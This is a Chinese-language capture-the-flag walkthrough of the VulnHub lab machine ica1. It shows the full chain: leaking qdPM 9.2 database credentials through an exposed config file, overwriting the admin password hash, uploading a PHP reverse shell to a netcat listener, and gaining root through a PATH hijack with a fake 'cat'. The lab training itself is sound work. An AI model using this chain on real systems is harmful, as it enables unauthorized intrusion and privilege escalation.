题目来源:Vulnerable By Design ~ VulnHub
题目:ica1.ova
题目类型:渗透靶机
解题过程:
一、信息收集
靶机(linux):
攻击机(kalli):192.168.3.25
辅助机(win):192.168.3.18
-
发现主机
-
访问http试试看
有登陆界面试试sql注入
貌似不行。
跑一跑目录试试
没有什么东西。
看得到下面的qdpm9.2,搜索是否有漏洞
二、利用漏洞
cat /usr/share/exploitdb/exploits/php/webapps/50176.txt
# Exploit Title: qdPM 9.2 - DB Connection String and Password Exposure (Unauthenticated)
# Date: 03/08/2021
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: https://qdpm.net/
# Software Link: https://sourceforge.net/projects/qdpm/files/latest/download
# Version: 9.2
# Tested on: Ubuntu 20.04 Apache2 Server running PHP 7.4
The password and connection string for the database are stored in a yml file. To access the yml file you can go to http://<website>/core/config/databases.yml file and download.
按照说明获取yml
文件
wget http://192.168.3.12/core/config/databases.yml
┌──(root㉿kali)-[/usr/share]
└─#cat databases.yml
all:
doctrine:
class: sfDoctrineDatabase
param:
dsn: 'mysql:dbname=qdpm;host=localhost'
profiler: false
username: qdpmadmin
password: "<?php echo urlencode('UcVQCMQk2STVeS6J') ; ?>"
attributes:
quote_identifier: true
获得mysql
数据库信息
<mark>dbname:</mark>`qdpm`
<mark>username:</mark>`qdpmadmin`
<mark>password:</mark>`UcVQCMQk2STVeS6J`
- 连接数据库
- 查询数据库中有用得信息
重要的信息就都在这里了
可以看出管理员邮箱和密码
登录一下,密码错误,应该用加密的密码登录不了
查阅资料:
谈谈常见的加密和哈希值表示法:
- "$P$" 通常表示经过 PHPass 工具加密的密码哈希值。
- "{MD5}" 表示该字符串是 MD5 哈希值。
- "{SHA1}" 表示该字符串是 SHA-1 哈希值。
- "{SSHA}" 表示该字符串是 Salted SHA-1 哈希值。
- "$2a$" 表示该字符串是经过 Bcrypt 工具加密的密码哈希值。
- "$2y$" 也表示经过 Bcrypt 加密的密码哈希。
- "$5$" 表示经过 SHA-256 加密的密码哈希。
- "$6$" 表示经过 SHA-512 加密的密码哈希。
不同的前缀标识可以帮助快速识别字符串的加密方式,但不会透露真正的原文密码。
加密脚本:
from passlib.hash import phpass
# 加密
password = "ABCDEF"
hashed_password = phpass.hash(password)
print(hashed_password)
# 验证
if phpass.verify(password, hashed_password):
print("Password matched")
else:
print("Password did not match")
加密后得到值:
P
P
PHZmfsh9BfQFM1jv92LYAU/L2p6/0Sh1
替换原来的值,现在密码就是ABCDEF了
登录
添加一个自己的信息,有管理员权限
-
上传 Reverse Shell
登录自己创建的账号
新建项目,上传Reverse Shell
-
寻找上传的文件位置。对网站目录进行枚举,发现
http://192.168.3.25/uploads/attachments/
目录,上传的附件就保存在此处。 -
在本地终端监听端口。
nc -lvnp 8848
- 点击文件
php-reverse-shell.php
,本机监听处收到请求,成功建立反弹shell
升级一下shell
python -c 'import pty; pty.spawn("/bin/bash")'
三、提权
搜索可执行文件,发现文件get_access
执行一下这个命令
- 尝试读取该文件的字符内容,发现
setuid
字样,及cat
读取root
路径下文件的语句。猜测该程序先设置了UID
,之后调用cat
读取文件。可以考虑通过替换cat
提权。
- 更改环境变量
cd /tmp
echo '/bin/bash' > cat
chmod +x cat
export PATH=/tmp:$PATH
四、获得Flag
这里是引用